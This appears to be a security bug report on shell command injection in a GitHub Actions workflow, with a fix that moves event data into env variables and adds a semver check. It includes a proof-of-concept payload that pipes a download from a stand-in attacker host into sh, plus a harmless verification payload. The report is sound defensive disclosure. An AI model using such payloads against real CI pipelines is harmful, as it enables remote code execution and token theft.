Bug
${{ github.event.client_payload.version }} and ${{ inputs.sdk_version }} are expanded by GitHub Actions before the shell runs. The surrounding VERSION="..." quotes do not contain the injected string, allowing shell command injection.
Source
.github/workflows/sdk-smoke.yml
59 - name: Resolve SDK version
60 id: sdk_ver
61 run: |
62 VERSION="${{ github.event.client_payload.version }}"
63 if [ -z "$VERSION" ]; then
64 VERSION="${{ inputs.sdk_version }}"
A payload of:
1.0.0"; curl https://attacker/x | sh; echo "
breaks out and executes arbitrary commands on the runner with the job's GITHUB_TOKEN (default write scope). The tainted value also flows into pnpm add "@percolatorct/sdk@${{ steps.sdk_ver.outputs.version }}" at line 81, yielding a second injection point.
Reachability: repository_dispatch requires a token with repo write/dispatch permission — not anonymous. However, this is precisely the cross-repo seam the SDK post-publish workflow uses (gh api .../dispatches). A compromised SDK pipeline or leaked PAT pivots directly into this runner.
Fix
Pass event data via env: (never inline ${{ }} in a run: block) and gate on a strict semver allowlist:
- name: Resolve SDK version
id: sdk_ver
env:
PAYLOAD_VERSION: ${{ github.event.client_payload.version }}
INPUT_VERSION: ${{ inputs.sdk_version }}
DEFAULT_VERSION: ${{ env.SDK_VERSION }}
run: |
VERSION="${PAYLOAD_VERSION:-${INPUT_VERSION:-$DEFAULT_VERSION}}"
if ! printf '%s' "$VERSION" | grep -qE '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$'; then
echo "Invalid SDK version: $VERSION"; exit 1
fi
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
Apply the same env: pattern to the pnpm add and verify steps. Both workflows already pin actions by full commit SHA — preserve that.
Verification
Dispatch with client_payload[version]='1.0.0"; touch /tmp/pwned; echo "' → step fails the semver gate, /tmp/pwned not created. Normal 1.0.0-beta.33 still passes.
Bug
${{ github.event.client_payload.version }}and${{ inputs.sdk_version }}are expanded by GitHub Actions before the shell runs. The surroundingVERSION="..."quotes do not contain the injected string, allowing shell command injection.Source
.github/workflows/sdk-smoke.ymlA payload of:
breaks out and executes arbitrary commands on the runner with the job's
GITHUB_TOKEN(default write scope). The tainted value also flows intopnpm add "@percolatorct/sdk@${{ steps.sdk_ver.outputs.version }}"at line 81, yielding a second injection point.Reachability:
repository_dispatchrequires a token with repo write/dispatch permission — not anonymous. However, this is precisely the cross-repo seam the SDK post-publish workflow uses (gh api .../dispatches). A compromised SDK pipeline or leaked PAT pivots directly into this runner.Fix
Pass event data via
env:(never inline${{ }}in arun:block) and gate on a strict semver allowlist:Apply the same
env:pattern to thepnpm addand verify steps. Both workflows already pin actions by full commit SHA — preserve that.Verification
Dispatch with
client_payload[version]='1.0.0"; touch /tmp/pwned; echo "'→ step fails the semver gate,/tmp/pwnednot created. Normal1.0.0-beta.33still passes.